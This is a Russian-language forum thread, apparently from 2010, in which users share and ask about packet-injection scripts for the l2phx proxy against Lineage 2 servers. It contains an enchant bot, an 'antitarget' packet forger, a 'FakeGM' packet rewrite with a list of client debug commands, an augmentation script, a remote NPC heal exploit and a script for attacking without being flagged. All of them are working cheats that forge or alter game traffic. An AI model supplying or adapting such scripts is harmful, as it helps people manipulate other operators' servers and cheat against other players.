ComboBoxScroll.ItemIndex := -1;
ComboBoxScroll.Sorted := FALSE;
ComboBoxScroll.ItemHeight := 13;
ComboBoxScroll.OnClick := @ComboBoxScroll_Click;
//......................................
//......................................
//EditItemVal
EditItemVal := TEdit.Create(Result);
EditItemVal.Parent := GroupBox2;
EditItemVal.Left := 341;
EditItemVal.Top := 16;
EditItemVal.Width := 72;
EditItemVal.Height := 21;
EditItemVal.Visible := TRUE;
EditItemVal.Tag := 0;
EditItemVal.Enabled := TRUE;
EditItemVal.Hint := '';
EditItemVal.ShowHint := FALSE;
EditItemVal.Text := '0';
EditItemVal.Font.Name := 'Tahoma';
EditItemVal.Font.Size := 8;
EditItemVal.Font.Color := clWindowText;
EditItemVal.Color := clWindow;
EditItemVal.TabOrder := 6;
EditItemVal.TabStop := TRUE;
EditItemVal.ReadOnly := TRUE;
EditItemVal.MaxLength := 0;
EditItemVal.AutoSize := TRUE;
//......................................
//......................................
//EditScrollVal
EditScrollVal := TEdit.Create(Result);
EditScrollVal.Parent := GroupBox2;
EditScrollVal.Left := 341;
EditScrollVal.Top := 40;
EditScrollVal.Width := 72;
EditScrollVal.Height := 21;
EditScrollVal.Visible := TRUE;
EditScrollVal.Tag := 0;
EditScrollVal.Enabled := TRUE;
EditScrollVal.Hint := '';
EditScrollVal.ShowHint := FALSE;
EditScrollVal.Text := '0';
EditScrollVal.Font.Name := 'Tahoma';
EditScrollVal.Font.Size := 8;
EditScrollVal.Font.Color := clWindowText;
EditScrollVal.Color := clWindow;
EditScrollVal.TabOrder := 7;
EditScrollVal.TabStop := TRUE;
EditScrollVal.ReadOnly := TRUE;
EditScrollVal.MaxLength := 0;
EditScrollVal.AutoSize := TRUE;
//......................................
//......................................
//EditScrollOID
EditScrollOID := TEdit.Create(Result);
EditScrollOID.Parent := GroupBox2;
EditScrollOID.Left := 263;
EditScrollOID.Top := 40;
EditScrollOID.Width := 72;
EditScrollOID.Height := 21;
EditScrollOID.Visible := TRUE;
EditScrollOID.Tag := 0;
EditScrollOID.Enabled := TRUE;
EditScrollOID.Hint := '';
EditScrollOID.ShowHint := FALSE;
EditScrollOID.Text := '0';
EditScrollOID.Font.Name := 'Tahoma';
EditScrollOID.Font.Size := 8;
EditScrollOID.Font.Color := clWindowText;
EditScrollOID.Color := clWindow;
EditScrollOID.TabOrder := 8;
EditScrollOID.TabStop := TRUE;
EditScrollOID.ReadOnly := TRUE;
EditScrollOID.MaxLength := 0;
EditScrollOID.AutoSize := TRUE;
//......................................
//......................................
//EditItemOID
EditItemOID := TEdit.Create(Result);
EditItemOID.Parent := GroupBox2;
EditItemOID.Left := 264;
EditItemOID.Top := 16;
EditItemOID.Width := 72;
EditItemOID.Height := 21;
EditItemOID.Visible := TRUE;
EditItemOID.Tag := 0;
EditItemOID.Enabled := TRUE;
EditItemOID.Hint := '';
EditItemOID.ShowHint := FALSE;
EditItemOID.Text := '0';
EditItemOID.Font.Name := 'Tahoma';
EditItemOID.Font.Size := 8;
EditItemOID.Font.Color := clWindowText;
EditItemOID.Color := clWindow;
EditItemOID.TabOrder := 9;
EditItemOID.TabStop := TRUE;
EditItemOID.ReadOnly := TRUE;
EditItemOID.MaxLength := 0;
EditItemOID.AutoSize := TRUE;
//......................................
Yes := TRUE;
FINALLY
if not Yes then begin
//Освобождаем ресурсы, если неудачно ...
if Result<>NIL then begin
Result.Free;
Result:=NIL;
end;
end;
END;
msg.Lines.Add('Автоматизация заточки by NLObP!');
Result.Show;
end; //Create_FormMain
//========================
//========================
procedure Init; //Вызывается при включении скрипта
var
i:integer;
begin
FormMain:=Create_FormMain;
//Enchant:=false;
CurEnchLvl:=0;
timer:=TTimer.Create(nil);
timer.OnTimer:=@OnTimer;
timer.enabled:=false;
timer.interval:=1000; //время задержки
ready:=false;
add:=false;
//Пакет RequestItemList
buf:=hstr('0F');
SendToServerEx(Name);
StringList:=TStringList.Create;
ItemsName:=TStringList.Create;
try
ItemsName.LoadFromFile('itemsid.ini');
except
msg.Lines.Add('itemsid.ini не найден!');
exit;
end;
end;
//......................................
//************************************************** ****************************
procedure Free; //Вызывается при выключении скрипта
begin
// ItemBase:=nil; //нельзя так делать с массивом
timer.Free;
StringList.Clear;
ItemsName.Clear;
//достаточно освободить форму
Free_FormMain;
end;
//......................................
//************************************************** ****************************
procedure Say(msg:string);
begin
buf:=hstr('4A 00 00 00 00');
WriteD(2);
WriteS(Name);
WriteS(msg);
SendToClientEx(Name);
end;
//......................................
//************************************************** *************
procedure CreateItemBase; //пакет 1B, Создает базу ObjectID по ItemID
//1B=ItemListPacket:w(window)w(ListCount)w(itemType1 )h(ObjectID)i(ItemID)d(count)w(itemType2)w(CustTyp e1)w(isEquipped)d(BodyPart)w(EnchantLevel)w(CustTy pe2)d(Augment)d(--)
var
i, j, ListCount: integer;
begin
for i:=1 to max do begin
//очищаем масив
ItemBase[1,i]:=0; //OID
ItemBase[2,i]:=0; //ID
ItemBase[3,i]:=0; //kol-vo
ItemBase[4,i]:=0; //lvl
end;
j:=4; //смещение для ListCount
ListCount:=ReadH(j); //количество итемов не должно превышать max!
//if ListCount>maxitems then msg.Lines.Add('Внимание! Не все вещи влезли в массив. ListCount>Max='+IntToStr(ListCount)+'/'+IntToStr(maxitems));
j:=8; //смещение для ObjectID
//Пробегаем по Инвентарю и сохраняем ObjectID соответствующие необходимым ItemID
for i:=1 to ListCount do begin
itemBase[1,i]:=ReadD(j); //OID
itemBase[2,i]:=ReadD(j); //ItemID
itemBase[3,i]:=ReadD(j); //кол-во
inc(j,10);
itemBase[4,i]:=ReadH(j);//EnchantLevel
// msg.Lines.Add('i='+inttostr(i)+' ItemOID='+IntToStr(ItemBase[1,i])+' ItemID='+IntToStr(ItemBase[2,i])+' ItemKol='+IntToStr(ItemBase[3,i])+' ItemLVL='+IntToStr(ItemBase[4,i]));
if interlude then inc(j,12) else inc(j,4);
//msg.Lines.Add('j='+inttostr(j));
end;
//вносим изменения в чекбоксы
StringList.Clear;
try
for i:=1 to ListCount do begin
try
//StringList.Add(ItemsName[ItemBase[2,i]-1]); //записываем название вещей из инвентаря
StringList.Add(ItemsName.Values[IntToStr(ItemBase[2,i])]); //записываем название вещей из инвентаря
except;
msg.Lines.Add('Пропускаем! Нет ItemID='+inttostr(ItemBase[2,i])+' в itemsid.ini');
end
end;
except;
msg.Lines.Add('ошибка в CreateItemBase->StringList.Add()');
msg.Lines.Add(inttostr(ItemBase[2,i]));
exit;
end;
if not CheckBoxItem.Checked then begin //наполняем комбобокс
with ComboBoxItem do
begin
Items.Clear;
Items.Assign(StringList);
ItemIndex:=0;
end;
end;
if not CheckBoxScroll.Checked then begin //наполняем комбобокс
with ComboBoxScroll do
begin
Items.Clear;
Items.Assign(StringList);
ItemIndex:=0;
end;
end;
end;
//......................................
//************************************************** ****************************
//27=InventoryUpdate:w(count)w(1add2mod3remove)w(ite mType1)d(ObjectID)i(ItemId)d(Count)w(itemType2)w(c usType1)w(isEquipped)d(BodyPart)w(EnchantLevel)w(c usType2)-(8)
procedure InventoryUpdate; //пакет 27, обновляет базу ObjectID по ItemID
var
i, ii, j, ItemOID, ItemID, ItemCount, ListCount, UpdType, Itemlvl: integer;
add : boolean;
begin
add:=false;
ListCount:=ReadH(2); //количество итемов
//Пробегаем по Инвентарю и сохраняем пары ObjectID - lvl
j:=4; //смещение для действия с предметом 1-добавлен 2-изменен 3-удален
for ii:=1 to ListCount do begin
UpdType:=ReadH(j);
//inc(j,2);
ReadH(j); //ItemType1
ItemOID:=ReadD(j); //ObjectID
ItemID:=ReadD(j); //ItemID
itemCount:=ReadD(j); //кол-во
inc(j,10);
Itemlvl:=ReadH(j);
case UpdType of
//добавлен
1: begin
for i:=1 to max do begin
if (ItemBase[1,i]=0) and (add=false) then begin
ItemBase[1,i]:=ItemOID;
ItemBase[2,i]:=ItemID;
ItemBase[3,i]:=ItemCount;
ItemBase[4,i]:=Itemlvl;
msg.Lines.Add('Добавили предмет!');
msg.Lines.Add('i='+inttostr(i)+' ItemOID='+IntToStr(ItemBase[1,i])+' ItemID='+IntToStr(ItemBase[2,i])+' ItemKol='+IntToStr(ItemBase[3,i])+' ItemLVL='+IntToStr(ItemBase[4,i]));
add:=true;
end;
end;
end;
//изменен
2: begin
for i:=1 to max do begin
if ItemBase[1,i]=ItemOID then begin
ItemBase[3,i]:=ItemCount;
ItemBase[4,i]:=Itemlvl;
msg.Lines.Add('Изменяем параметры предмета!');
msg.Lines.Add('i='+inttostr(i)+' ItemOID='+IntToStr(ItemBase[1,i])+' ItemID='+IntToStr(ItemBase[2,i])+' ItemKol='+IntToStr(ItemBase[3,i])+' ItemLVL='+IntToStr(ItemBase[4,i]));
end;
end;
end;
//удален
3: begin
for i:=1 to max do begin
if ItemBase[1,i]=ItemOID then begin
msg.Lines.Add('Удаляем предмет!');
msg.Lines.Add('i='+inttostr(i)+' ItemOID='+IntToStr(ItemBase[1,i])+' ItemID='+IntToStr(ItemBase[2,i])+' ItemKol='+IntToStr(ItemBase[3,i])+' ItemLVL='+IntToStr(ItemBase[4,i]));
ItemBase[1,i]:=0;
ItemBase[2,i]:=0;
ItemBase[3,i]:=0;
ItemBase[4,i]:=0;
end;
end;
end;
end;
if interlude then inc(j,10) else inc(j,2);
//msg.Lines.Add('j='+inttostr(j));
end;
end;
//......................................
//************************************************** ****************************
//находим в инвентаре предмет с ItemID и возвращаем его ObjectID
function GetItem(item:integer; lvl:integer) : integer;
var
i : integer;
begin
for i:=1 to max do begin
//находим подходящий предмет по ItemID
if (ItemBase[2,i]=item) and (ItemBase[4,i]=lvl) then begin
//если нашли, то возвращаем ObjectID предмета
result:=ItemBase[1,i]; // itemOID
ItemCount:=ItemBase[3,i];
//Itemlvl:=ItemBase[4,i];
//msg.Lines.Add('<item='+inttostr(item)+' lvl='+inttostr(lvl)+'> i='+inttostr(i)+' ItemOID='+IntToStr(ItemBase[1,i])+' ItemID='+IntToStr(ItemBase[2,i])+' ItemKol='+IntToStr(ItemBase[3,i])+' ItemLVL='+IntToStr(ItemBase[4,i]));
exit;
end;
end;
//ничего не нашли
result:=0;
end;
//......................................
//************************************************** ****************************
procedure UseItem(ObjectID: integer);
begin
buf:=#$14;
WriteD(ObjectID);
WriteD(0);
SendToServerEx(Name);
end;
//......................................
//************************************************** ****************************
function SumItem(Item: integer):integer;
var
sum, i : integer;
begin
result:=0;
//находим подходящий предмет по ItemID
for i:=1 to max do begin
if (ItemBase[2,i]=item) then begin
// msg.Lines.Add('Нашли предмет ItemOID='+inttostr(ItemBase[1,i])+' ItemID='+inttostr(ItemBase[2,i])+' ItemCol='+inttostr(ItemBase[3,i])+' EnchantLvl='+inttostr(ItemBase[4,i]));
// msg.Lines.Add('i='+inttostr(i));
result:=result+ItemBase[3,i];
//inc(result);
end;
end;
end;
//......................................
//************************************************** ****************************
procedure RequestEnchantItem(ObjectID: integer);
begin
buf:=#$58;
WriteD(ObjectID);
SendToServerEx(Name);
//*********** использовать чит с петом ************************
{ buf:=#$8B;
WriteD(ObjectID);
writed(1);
SendToServerEx(Name);
} //***********
end;
//......................................
{//************************************************** *************
function ExtractIDValues(sData: string): integer;
var
s: string;
i,j: integer;
begin
i:=0;
s:=sData;
i:=pos('=',s);
if i>=0 then
s:=copy(s,1,i-1);
try
result:=strtoint(s);
except
result:=0;
end;
end;
//............................................}
//************************************************** ****************************
procedure OnTimer(Sender: TObject);
begin
EditItemVal.text:=inttostr(sumitem(ItemID));
EditScrollVal.text:=inttostr(sumitem(ScrollID));
if (CurEnchLvl>=strtoint(Edit1.Text)) then begin
msg.Lines.Add('Нечего точить! Прервано!');
timer.enabled:=false;
exit;
end;
if (sumitem(ItemID)<=1) then begin
// if (sumitem(ItemID)<=0) then begin //если надо точить одну вещь
msg.Lines.Add('Прервано!');
timer.enabled:=false;
exit;
end;
ScrollOID:=GetItem(ScrollID,0);
if ScrollOID=0 then begin
msg.Lines.Add('Нет заточки! Прервано!');
timer.enabled:=false;
exit;
end;
UseItem(ScrollOID);
msg.Lines.Add('Задействовали скролл ScrollID='+IntToStr(scrollID)+' ScrollOID='+IntToStr(ScrollOID));
ready:=true; //готовы затачивать
// delay(1000);
// RequestEnchantItem(Item);
// delay(1000);
//************************************************
// msg.Lines.Add('Пробуем улучшить ItemID='+IntToStr(Item));
// end;
end;
//......................................
//************************************************** *************
// Вся торговля здесь!!!
//************************************************** *************
{procedure OnTrade1(Sender: TObject);
begin
case trade of
//-------------------------------------------------
//покупаем у Misc Trader из массива TradeBuyItem1
//-------------------------------------------------
100: begin
if ReadyToBuy then exit; //если еще купили предыдущую вещь, то выходим сразу
//мы у фишермана, покупаем крючки
if FishermanOID=0 then begin
Trade1.enabled:=false; //останавливаем торговлю
msg.Lines.Add('Не готовы к торговле, нет OID фишермана! Требуется отбежать подальше и вернуться.');
exit; //выходим
end;
if TradeCount=TradeBuyItemCount then begin //проверка на выход из массива
trade:=400;
msg.Lines.Add('Всё купили!');
msg.Lines.Add('Переход к обмену...');
TradeCount:=0; //начнем сначала массива
end else begin
if FindItem(TradeBuyItem[TradeCount])<strtoint(EditLure.text) then begin
TargetAttacker(FishermanOID); //фишермана в таргет
msg.Lines.Add('Готовы купить:'+inttostr(TradeBuyItem[TradeCount]));
ReadyToBuy:=true; //готовы продавать
NeedBuy:=strtoint(EditLure.text)-colvoitm2; //докупаем до 50
msg.Lines.Add('Требуется докупит крючков:'+inttostr(NeedBuy));
end else msg.Lines.Add('Не надо покупать, уже есть:'+inttostr(colvoitm2));
Trd:=TradeCount;
inc(TradeCount);
msg.Lines.Add('TradeCount/TradeBuyItemCount:'+inttostr(TradeCount)+'/'+inttostr(TradeBuyItemCount-1));
end;
//-------------------------------------------------
//покупаем у Armor Trader из массива TradeBuyItem2
//-------------------------------------------------
200: begin
if ReadyToBuy then exit; //если еще купили предыдущую вещь, то выходим сразу
//мы у фишермана, покупаем крючки
if FishermanOID=0 then begin
Trade1.enabled:=false; //останавливаем торговлю
msg.Lines.Add('Не готовы к торговле, нет OID фишермана! Требуется отбежать подальше и вернуться.');
exit; //выходим
end;
if TradeCount=TradeBuyItemCount then begin //проверка на выход из массива
trade:=400;
msg.Lines.Add('Всё купили!');
msg.Lines.Add('Переход к обмену...');
TradeCount:=0; //начнем сначала массива
end else begin
if FindItem(TradeBuyItem[TradeCount])<strtoint(EditLure.text) then begin
TargetAttacker(FishermanOID); //фишермана в таргет
msg.Lines.Add('Готовы купить:'+inttostr(TradeBuyItem[TradeCount]));
ReadyToBuy:=true; //готовы продавать
NeedBuy:=strtoint(EditLure.text)-colvoitm2; //докупаем до 50
msg.Lines.Add('Требуется докупит крючков:'+inttostr(NeedBuy));
end else msg.Lines.Add('Не надо покупать, уже есть:'+inttostr(colvoitm2));
Trd:=TradeCount;
inc(TradeCount);
msg.Lines.Add('TradeCount/TradeBuyItemCount:'+inttostr(TradeCount)+'/'+inttostr(TradeBuyItemCount-1));
end;
end;
end;
end;
}//......................................
//************************************************** ****************************
// вызывается при приходе каждого пакета, если скрипт включен
//************************************************** ****************************
begin
//************************************************** **************************
//не обрабатываем пустые пакеты
if pck='' then exit;
//************************************************** **************************
//покупка состоит из следующих шагов:
//1. таргет на продавце, пауза, снова таргет c04=Action, c04=Action
//2. приходит s0F=NpcHtmlMessage:d(MessageID)s(HTML)d(d)
//3. шлем выбранный пункт из меню c21=RequestBypassToServer:s(Cmd)
//4. приходит s11=BuyList:d(Money)h(ListID)w(ListCount)w(ItemTyp e1)h(ObjectID)i(ItemID)d(maxcnt)w(ItemType2)w(h)d( ItemBodyPart)
//5. FindItem(ID) найдем OID, Count нужной вещи по ID
//6. шлем c1F=RequestBuyItem:h(ListID)d(BuyCount)i(ItemID)d( Count)
//************************************************** **************************
{ if ReadyToBuy and (FishermanOID<>0) then begin
if (ConnectName=Name) and FromServer then begin
case pck[1] of
//после того как мы взяли в таргет продавца приходит этот пакет
//s0F=NpcHtmlMessage:d(MessageID)s(HTML)d(d)
#$0F: begin
msg.Lines.Add('S>Пакет NpcHtmlMessage #$0F');
if ReadD(2)=FishermanOID then begin
//шлем запрос выбора пункта - продажа
//c21=RequestBypassToServer:s(Cmd)
delay(1000);
RequestByPassToServer(getbuylist);
msg.Lines.Add('C>Пакет RequestBypassToServer #$21 (sell)');
end;
end;
//после выбора пункта - продажа, приходит этот пакет
//s11=BuyList:d(Money)h(ListID)w(ListCount)w(ItemTyp e1)h(ObjectID)i(ItemID)d(maxcnt)w(ItemType2)w(h)d( ItemBodyPart)
#$11: begin
msg.Lines.Add('S>Пакет BuyList #$11');
ListID:=ReadD(6); //запоминаем, он все время разный
msg.Lines.Add('ListID='+inttostr(ListID));
//шлем запрос на продажу
//1F=RequestBuyItem:h(ListID)d(BuyCount)i(ItemID)d(C ount)
msg.Lines.Add('C>Пакет RequestBuyItem #$1F');
//продадим первый из списка
msg.Lines.Add('Item: ID:'+IntToStr(TradeBuyItem[Trd])+' Count:'+IntToStr(NeedBuy));
delay(1000);
RequestBuyItem(TradeBuyItem[Trd],NeedBuy);
ReadyToBuy:=false;
end;
end;
end;
end;
} //......................................
//************************************************** **************************
if FromServer then
case pck[1] of
//......................................
//Пакет ItemList
#$1B: CreateItemBase; //создание базы предметов
//......................................
//если удалили предметы, стираем в базе предметов пары ObjectID - ItemID
#$27: InventoryUpdate; //Обновление базы
//......................................
//Пакет ChooseInventory
#$6F: if ready then begin //and (readd(2)=itemid)
//ищем подходящий предмет для заточки
timer.enabled:=false; //отключаем пока не найдем предмет для заточки
repeat
ItemOID:=GetItem(ItemID,CurEnchLvl);
if ItemOID=0 then begin
inc(CurEnchLvl);
Edit2.text:=inttostr(CurEnchLvl);
end;
until ItemOID<>0;
//************************************************
msg.Lines.Add('Пробуем улучшить ItemID='+IntToStr(ItemID)+' ItemOID='+IntToStr(ItemOID));
RequestEnchantItem(ItemOID);
ready:=false;
timer.enabled:=true; //пока в тесте отключаем (вкл. после заточки предмета)
end;
#$81: if readd(2)=0 then begin
CurEnchLvl:=0; //начнем с начала
end;
end;
end.
[CODE]
подскажите де в этом скрипте менять МИН ЗНАЧЕНИЕ ТОЧКИ?
просто на серваке точиш пуху приполомке она падает не на 0 а на +3,из за етого прога виснет
спс

Скриптика побольше не нашлось?
З.Ы. - пост редактируй что бы скрипт был в тегах [ CODE]Text[ /CODE] (пробельчики убери)

Lafisarrr
16.02.2010, 18:04
Антитаргет
Const
Name='Lafi';

var
// переменная
ValidatePosition:string;
a:integer; b:boolean;

procedure Init; //Вызывается при включении скрипта
begin
SendMsc('Возьми себя в таргет!');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClientEX(Name);
end;
//защитная часть
begin
begin
if FromClient and (pck[1]=#$04)and (not b) then
begin
a:=ReadD(2);
SendMsc('Запомнен ObjectID = '+inttostr(a));
b:=true;
end;
end;
If FromClient and (pck=hstr('38 2E 00 6F 00 6E 00 00 00 00 00 00 00')) then
begin
Buf:=#$9F;
WriteD(a);
buf:=buf+ hstr('01 00 00 00 56 0D 20 10 02 00 00 00');
SendToServerEX(Name);
end;
end.
Работает сам использую

kopacb
21.02.2010, 13:14
Антитаргет
Const
Name='Lafi';

var
// переменная
ValidatePosition:string;
a:integer; b:boolean;

procedure Init; //Вызывается при включении скрипта
begin
SendMsc('Возьми себя в таргет!');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClientEX(Name);
end;
//защитная часть
begin
begin
if FromClient and (pck[1]=#$04)and (not b) then
begin
a:=ReadD(2);
SendMsc('Запомнен ObjectID = '+inttostr(a));
b:=true;
end;
end;
If FromClient and (pck=hstr('38 2E 00 6F 00 6E 00 00 00 00 00 00 00')) then
begin
Buf:=#$9F;
WriteD(a);
buf:=buf+ hstr('01 00 00 00 56 0D 20 10 02 00 00 00');
SendToServerEX(Name);
end;
end.
Работает сам использую

Пробовал переделать под ГФ, знающие люди скажите что я упустил:

Const
Name='xxxx';

var
// переменная
ValidatePosition:string;
a:integer; b:boolean;

procedure Init; //Вызывается при включении скрипта
begin
SendMsc('Возьми себя в таргет!');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClientEX(Name);
end;
//защитная часть
begin
begin
if FromClient and (pck[1]=#$1F)and (not b) then
begin
a:=ReadD(2);
SendMsc('Запомнен ObjectID = '+inttostr(a));
b:=true;
end;
end;
If FromClient and (pck=hstr('49 2E 00 6F 00 6E 00 00 00 00 00 00 00')) then
begin
Buf:=#$A8;
WriteD(a);
buf:=buf+ hstr('01 00 00 00 56 0D 20 10 02 00 00 00');
SendToServerEX(Name);
end;
end.

lelveyn
27.02.2010, 16:23
люди пожалусто объясне что за скрипт название скрипта FakeGM
вот сам скрипт

//Set Builder
var
i:integer;

begin
if FromServer then if pck[2]=#$04 then begin
i:=22;
ReadS(i);
i:=i+328;
buf:=pck;
WriteD(1,i);
pck:=buf;
end;
end.
{ некоторые ГМ команды:
///l2debugwindow - консолька
///l2debug - показывает сообщения в открытой консоли
///geodata - не пробовал пока... для работы необходимо скопировать папку геодата в папку сустем клиента
///buildzone map=[map_name] такая же ****ь но на одну область
///showborderline - показывает границу обасти
///showsectors - разбивает мир по секторам
///camerawalking mode=on|off - позволяет двигать камеру на ограниченное расстояние без движения перса.
///c_rmode [1-7] - изменяет внешнее отображение мира... очень жестоко ) приминения пока не нашел )
///bighead size=[1-n] - увеличивает размер головы. Видно ессестно только тебе )
///open [map name] - не пробовал
///get [class_name] [attrib_name]
///set [class_name] [attrib_name]
///editdefault class=[class_name]
///stat l2 - общая инфа обо всем... постоянно меняется. полезна.
///stat fps - да здравствует анрил ))) показывает как вы думаете что? ))) конечно же количество кадров в секунду )
}

GraNIT
01.03.2010, 20:24
Аргументация в 2 кнопки
const
nik='GraNIT';

var
WeaponID, LsID, GemID, GemCount: integer;

procedure Init; //Вызывается при включении скрипта
begin

end;

procedure OnTimer01(Sender: TObject);
begin

end;

procedure Free; //Вызывается при выключении скрипта
begin

end;

procedure OnConnect(WithClient: Boolean); //Вызывается при установке соединения
begin

end;

procedure OnDisonnect(WithClient: Boolean); //Вызывается при потере соединения
begin

end;

//основная часть скрипта
//вызывается при приходе каждого пакета если скрипт включен
begin
if FromClient and (pck[1]=#$D0) then
begin
WeaponID:=ReadD(4);
LsID:=ReadD(8);
GemID:=ReadD(12);
GemCount:=ReadD(16);
end;

//Cancel Augment
if FromClient and (pck=#$34#$03#$00#$00#$00) then
begin
pck:='';
Buf:=#$D0#$45#$00;
WriteD(WeaponID);
SendToServerEx(nik);
Buf:=#$D0#$46#$00;
WriteD(WeaponID);
SendToServerEx(nik);

end;

//Augment
if FromClient and (pck=#$34#$02#$00#$00#$00) then
begin
pck:='';
Buf:=#$D0#$44#$00;
WriteD(WeaponID);
WriteD(LsID);
WriteD(GemID);
WriteD(GemCount);
SendToServerEx(nik);
end;
end.

Инструкция:
1. Включили скрипт
2. Вставили ЛС в игре.
3. Второе соц. действие вытаскиевает ЛС.
4. Первое соц. действие вставляет ЛС.

P.S. тестилось на Part 2 :Grace World, Megal2 .

ALexCrosby
24.04.2010, 20:52
Скрипт реально работает, на всех сборках la2base и везде где у бафера есть кнопки heal,cp,mana,Лично проверял.//Скрипт на регенерацию Маны,Хп,Цп на сервере *****
//Для активации окна введите в парти чат '.window'
//Перед включением скрипта нужно стоять рядом с бафером!
//Для регенерации хп нужно просто посылать '.heal' в парти чат
//Работает на сервер где есть у бафера регенерация хп мп цп
//Версия 6.0 Final
//Автор Crazy$

var
// переменная
ValidatePosition:string; c:integer; e:integer; n:integer; r:boolean;
a:integer; b:boolean; d:integer; f:integer; v:integer;

procedure Init; //Вызывается при включении скрипта
begin
SendMsc('Возьми в таргет бафера и сделай шаг!');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClient;
end;
//защитная часть
begin
begin
if FromClient and (pck[1]=#$04)and (not b) then
begin
a:=ReadD(2); c:=ReadD(6);
d:=ReadD(10); e:=ReadD(14);
f:=ReadC(18);
SendMsc('Запомнен ObjectID = '+inttostr(a));
b:=true;
end;
end;
begin
if FromClient and (pck[1]=#$48) then
begin
v:=ReadD(14); n:=ReadD(18);
end;
end;
//запоминание пакета ValidatePosition
if FromClient and (pck[1]=#$48) then ValidatePosition:=pck;
if pck='' then exit;
if fromclient and (pck=#$38#$2E#$00#$77#$00#$69#$00#$6E#$00#$64#$00# $6F#$00#$77#$00#$00#$00#$03#$00#$00#$00) then
begin
buf:=#$04;
WriteD(a);
WriteD(c);
WriteD(d);
WriteD(e);
WriteC(f);
SendToServer;
buf:=#$48;
WriteD(c);
WriteD(d);
WriteD(e);
WriteD(v);
WriteD(n);
SendToServer;
buf:=#$21;
Writes('npc_'+inttostr(a)+'_restore hp 1');
SendToServer;
buf:=#$21;
WriteS('npc_'+inttostr(a)+'_restore mp 1');
SendToServer;
buf:=#$21;
WriteS('npc_'+inttostr(a)+'_restore cp 1');
SendToServer;
buf:=hstr('37 01 00');
SendToServer;
//отсылка пакета ValidatePosition, запомненого ранее
buf:=ValidatePosition; SendToServer;
end;
begin
if FromClient and (pck[1]=#$48) then ValidatePosition:=pck;
if pck='' then exit;
if FromClient and (pck=#$38#$2E#$00#$68#$00#$65#$00#$61#$00#$6C#$00# $00#$00#$03#$00#$00#$00) then
begin
buf:=#$48;
WriteD(c);
WriteD(d);
WriteD(e);
WriteD(v);
WriteD(n);
SendToServer;
buf:=#$21;
Writes('npc_'+inttostr(a)+'_restore hp 1');
SendToServer;
buf:=#$21;
WriteS('npc_'+inttostr(a)+'_restore mp 1');
SendToServer;
buf:=#$21;
WriteS('npc_'+inttostr(a)+'_restore cp 1');
SendToServer;
//отсылка пакета ValidatePosition, запомненого ранее
buf:=ValidatePosition; SendToServer;
end;
end;
end.

У меня на серве у нпц бафера есть функция вылечить и она ресает сразу фулл хп мп сп. Будет ли этот скрипт работать?

smertoO
24.04.2010, 21:00
У меня на серве у нпц бафера есть функция вылечить и она ресает сразу фулл хп мп сп. Будет ли этот скрипт работать?

вощможно, тут не в бафере дело.

Lyn}{
29.04.2010, 23:03
Бьём без флага и урона

begin
if FromClient and ((pck[1]=#$0A) or (pck[1]=#$04)) then //Если атакуем, то:
begin
buf:=pck;
SendToServer; //Отправил пакет дальше
delay(100);
buf:=#$73; //Открыть продажу
SendToServer;
buf:=#$76; //Закрыть продажу
SendToServer;
pck:='';
end;
if fromserver and (pck[1]=#$9a) then pck:='';
end.

l2phx 3.5.33.154 но работать должно на всех
скрипт мой. C4/IL дальше не проверял. Не работает-фикс
Просто ставим галочку

lSiml
03.05.2010, 20:31
Augment до получения нужного скила by Vilson

Оба скрипта положить в папку со скриптами, почитать инструкцию вначале скрипта, поменять параметры на свои. Без PacketsT2.script в принципе можно обойтись если вы перенесете вызываемые из него функции в основной скрипт Augment_2.script. Я использую два файла только потому что мне так удобно, этот PacketsT2.script использую во всех своих скриптах что бы не переписывать по сто раз один и тот же код, кроме того при выходе новой версии линейки не надо будет переписывать все скрипты, достаточно будет переписать только PacketsT2.script.

2606
2607

Arsonist
04.05.2010, 10:08
Augment до получения нужного скила by Vilson



2606
2607

А можно этот скрипт переписать под Interlude ?

maamaster
11.05.2010, 22:12
У меня вот такой вопрос есть СВС и БД оф пати скрипт который работает на ХБ, после перехода на Эпилог при выборе дансов появляется скилы не бд и свс. Собственно это шоки как можна переделать скрипт или помогите с новым.

sekaskissa
13.05.2010, 19:43
сталкивался со скриптами вставки ЛС на интерлюде. увы но мой phx выдавал ошибки. код значительно не отличается от оригинального. немного поправлена ошибка с hex. Код правил самолично. ибо нигде не нашел рабочего скрипта.
скрипт лежит и у нас. но брал исходники с codex.ru
тестим и радуемся

const
Name='RMF'; // ник
ItemID=6608; // пуха
LifeID=8762; // лайфстон
GemsID=2131; // гемстон
GemsAmount=25; //кол-во гемов
max=80; // инвентарь
var
LifeBase:array[1..max] of integer;
ColvoLife,ColvoGems,Life,Item,Gems,SocialID,augid: integer;
procedure Init;
var i:integer;
begin
buf:=hstr('0F');
SendToServerEx(Name);
end;
procedure Free;
var i:integer;
begin
for i:=1 to max do
LifeBase[i]:=0;
end;
function StrToHex2(packet: string):string;
var
i:integer;
tmp:byte;
function ByteToHex(b: byte): Char;
begin
if b<10 then result:=chr(b+$30)
else result:=chr(b+$37);
end;
begin
result:='';
for i:=1 to length(packet) do begin
tmp:=ord(packet[i]) div 16;
result:=result+ByteToHex(tmp);
tmp:=ord(packet[i]) - tmp*16;
result:=result+ByteToHex(tmp)+' ';
end;
end;
function inttohex(n:integer):string;
var i:integer;
t:string;
a:array[0..15] of char;
begin
a[0]:='0';
a[1]:='1';
a[2]:='2';
a[3]:='3';
a[4]:='4';
a[5]:='5';
a[6]:='6';
a[7]:='7';
a[8]:='8';
a[9]:='9';
a[10]:='A';
a[11]:='B';
a[12]:='C';
a[13]:='D';
a[14]:='E';
a[15]:='F';
result:='';
t:='';
i:=0;
while n<>0 do begin
if (i mod 2=0)and(i>0) then begin
result:=result+t+' ';
t:='';
end;
t:=a[n mod 16]+t;
n:=n div 16;
inc(i);
end;
result:=result+t;
end;
procedure Say;
var i:integer;
s:string;
begin
s:='<tr><td>LS='+inttostr(ColvoLife)+' (*'+inttostr(GemsAmount)+'='+inttostr(ColvoLife*Ge msAmount)+')</td></tr>';
